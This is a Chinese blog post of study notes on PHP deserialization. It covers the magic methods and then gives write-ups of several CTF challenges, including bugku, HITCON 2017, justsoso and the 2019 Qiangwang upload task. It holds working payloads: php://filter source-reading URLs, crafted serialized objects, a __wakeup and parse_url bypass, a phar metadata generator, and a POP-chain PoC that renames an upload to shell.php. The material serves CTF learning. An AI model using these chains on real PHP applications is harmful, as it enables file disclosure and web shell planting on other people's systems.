最近在看反序列化,顺便找了几个例题。
php反序列化
b站视频(入门推荐):
https://www.bilibili.com/video/av53361627?from=search&seid=7471418610411846125
php面向对象
URL:https://www.kancloud.cn/webxyl/php_oop/68874
1 |
|
常用魔法函数
construct()
实例化对象时被调用,
当construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。__destruct()
当删除一个对象或对象操作终止时被调用。call()
对象调用某个方法,
若方法存在,则直接调用;
若不存在,则会去调用call函数。get()
读取一个对象的属性时,
若属性存在,则直接返回属性值;
若不存在,则会调用get函数。set()
设置一个对象的属性时,
若属性存在,则直接赋值;
若不存在,则会调用set函数。__toString()
打印一个对象的时被调用。如echo $obj;或print $obj;__clone()
克隆对象时被调用。如:$t=new Test();$t1=clone $t;__sleep()
serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。__wakeup()
unserialize时被调用,做些对象的初始化工作。__isset()
检测一个对象的属性是否存在时被调用。如:isset($c->name)。__unset()
unset一个对象的属性时被调用。如:unset($c->name)。set_state()
调用var_export时,被调用。用set_state的返回值做为var_export的返回值。__autoload()
实例化一个对象时,如果对应的类不存在,则该方法被调用。
例题
D0g3 ctf平台
1
2
3
4
5
6
7<?php
$KEY = "D0g3!!!";
echo serialize($KEY)
?>bugku ctf :welcome to bugkuctf
URL: http://123.206.87.240:8006/test1/
Wp :https://blog.csdn.net/yh1013024906/article/details/81087939
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59解题:
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
POST:welcome to the bugkuctf
可以查看到hint.php的源码 ,用同样的方式读取 index.php
hint.php:
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
index.php:
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){ //file内不能出现flag
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->1
2
3
4
5
6
7
8
9
10
11
12
13
14payload:
class FLAG
{
public $file="flag.php";
}
$a = new FLAG();
$a = serialize($a);
print_r($a);
O:4:"FLAG":1:{s:4:"file";s:8:"flag.php";}HITCON 2017. baby^h-master-php-2017(仅做参考)
wp:https://xz.aliyun.com/t/1773
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62开题给了全部的源码,就是那么自信,给你源码你也不会,因为比赛的时候这是个0day。
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
//这些代码是创造一个读取flag 的函数,初识化了沙盒,可以不管
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct(){ //!!!获取flag的方式在这里!!!
$random = bin2hex(openssl_random_pseudo_bytes(32));//生成32位随机字节并转换16进制
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}"); //运行这个函数就可以拿到flag
$_GET["lucky"](); //可以用来调用函数
}
} //获取flag就需要通过反序列化admin类来触发__destruct来完成.
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");//开头几位为"GIF89a"
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);phar协议:phar文件本质是一个压缩文件,在使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。
生成phar文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Admin {
Public $avatar;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Admin();
$o->avatar = 'xxx'; //随便填写
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
国赛线上赛 justsoso
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36使用伪协议可以读取
?file=php://filter/read=convert.base64-encode/resource=hint.php
index.php
<html>
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']); //对url进行解析,将组成部分返回一个关联数组,
//这里有需要利用的漏洞,parse_url绕过 //绕过
parse_str($url['query'],$query);//把查询字符串分解解析到变量之中
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>hint.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class Handle{
private $handle;
public function __wakeup(){//绕过只需要添加成员变量
foreach(get_object_vars($this) as $k => $v) {//全部制空
$this->$k = null;
}
echo "Waking upn";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
//$this->token_flag === $this->token;
if($this->token === $this->token_flag){
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
//$flag = new Flag("flag.php");
//$handle = new Handle($flag);
//echo serialize($handle)."\n";
O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"c6d4eb15f1e84a36eff58eca3627c82e";s:10:"token_flag";R:4;}}
///?file=hint.php&payload=O:6:”Handle”:2:{s:14:”%00Handle%00handle”;O:4:”Flag”:3:{s:4:”file”;s:8:”flag.php”;s:5:”token”;s:32:”b77375f945f272a2084c0119c871c13c”;s:10:”token_flag”;R:4;}}
2019强网杯 upload
大佬的wp:https://www.zhaoj.in/read-5873.html
github项目地址:https://github.com/CTFTraining/qwb_2019_upload
搭建教程:
http://ofmine123.club/2019/07/12/Docker%E6%90%AD%E5%BB%BACTF%E5%B9%B3%E5%8F%B0/#more
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26拿到源码 发现断点 应该是hint
审计后发现重点文件
web/controller/Index.php
web/controller/Profile.php
web/controller/Register.php
基本思路:绕过重命名的函数,直接调用上传
profile.php 内有上传的代码 但是也有修改名称 需要绕过
profile.php 的 upload_img()有2个if
绕过这段代码的第一个if语句,让checker的值为false,让ext的值为true
如何反序列化执行 upload_img函数
看到末尾有2个魔法函数
__call方法在对象调用不可调用方法是会被触发,__get方法在调用不可调用属性的时候会被触发,可以利用这两个魔术方法来调用
把checker作为Profile的对象,然后registed为0的时候会执行checker->index();这对于Profile类的对象checker来说就是一个不可调用的函数,因为Profile类中没有这个方法,所以会触发__call方法,此时__call函数的参数为
$name=index,$arguments=(array([0]=>‘index’)
传入后发现调用了$this->index 不存在 所以触发了__get方法
可以使用get调用upload_img方法
这就是大致的思路1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48poc:
namespace app\web\controller; //命名空间必须要写
class Register{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
$a=new Register();
$a->registed=0;
$a->checker=new Profile(); //触发_call和_get
$a->checker->except=array('index'=>'upload_img');
//原本调用的是index 不存在 返回调用upload_img
$a->checker->ext=1;
$a->checker->filename_tmp="./upload/1b5337d0c8ad813197b506146d8d503d/63c85d8fea3a65f4a0888e30607c53a7.png";
$a->checker->filename="./upload/1b5337d0c8ad813197b506146d8d503d/shell.php";
echo base64_encode(serialize($a));